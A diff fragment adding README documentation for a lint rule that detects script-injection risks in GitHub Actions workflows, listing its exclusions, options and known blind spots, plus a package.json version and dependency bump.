+ ## What it leaves alone
57
+
58
+ - The same expression under `env:`, `with:` (other than a github-script `script:`), `if:`,
59
+ `name:` or `defaults.run`. Those are not parsed as script.
60
+ - Contexts nobody outside the repo controls: `github.sha`, `github.ref_name`,
61
+ `github.event.pull_request.number`, `github.event.pull_request.head.sha`, `matrix.*`,
62
+ `secrets.*`, `needs.*`, and `steps.*.outputs.*` unless `checkStepOutputs` is on.
63
+ - A `script:` input of any action other than `actions/github-script`.
64
+ - A YAML comment (`# run: ...`) and the trailing ` # ...` of a plain inline `run:`, which YAML
65
+ strips before GitHub sees the value.
66
+ - Paths with a `node_modules`, `.git`, `dist`, `.turbo` or `coverage` segment.
67
+
68
+ ## Factory
69
+
70
+ ```ts
71
+ createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule
72
+ ```
73
+
74
+ | Option | Type | Default | Meaning |
75
+ | --- | --- | --- | --- |
76
+ | `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
77
+ | `actionGlobs` | `string[]` | `action.yml` / `action.yaml` at any depth | Composite action metadata to scan. |
78
+ | `skipDirs` | `string[]` | `['node_modules', '.git', 'dist', '.turbo', 'coverage']` | An action path with any of these segments is skipped. |
79
+ | `checkInputs` | `boolean` | `true` | Treat `inputs.*` as attacker-controlled. A reusable workflow or composite action cannot know what its caller passes. |
80
+ | `checkStepOutputs` | `boolean` | `false` | Treat `steps.*.outputs.*` as attacker-controlled. Turn it on when steps echo event text into outputs. |
81
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
82
+
83
+ ## Limits
84
+
85
+ Line-based text, not a YAML parse. An expression split across lines, the bracket form
86
+ (`github.event['issue']['title']`), `toJSON(github.event)` and a value laundered through `env.*`
87
+ set from event text are not seen. An expression that only tests a tainted field
88
+ (`${{ contains(github.event.issue.title, 'x') }}`) evaluates to a boolean but is still reported;
89
+ move the test to `if:` or into the script.
90
+
91
+ Prior art: zizmor's [`template-injection`](https://docs.zizmor.sh/audits/#template-injection) audit
92
+ and GitHub's
93
+ [security hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections).
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@noctcore/lint-meta-rules",
3
- "version": "0.4.1",
3
+ "version": "0.5.0",
4
4
  "description": "Portable, parameterized lint-meta rules — whole-repo / cross-file invariants ESLint cannot reach — for the @noctcore/harness lint-meta runner.",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -61,8 +61,8 @@
61
61
  "test": "bun test"
62
62
  },
63
63
  "dependencies": {
64
- "@noctcore/eslint-plugin-contracts": "^0.6.0",
65
- "@noctcore/eslint-plugin-prisma": "^0.3.1",
64
+ "@noctcore/eslint-plugin-contracts": "^0.7.0",
65
+ "@noctcore/eslint-plugin-prisma": "^0.5.0",
66
66
  "@noctcore/harness": "^0.3.0",
67
67
  "@typescript-eslint/utils": "^8.61.1"
68
68
  },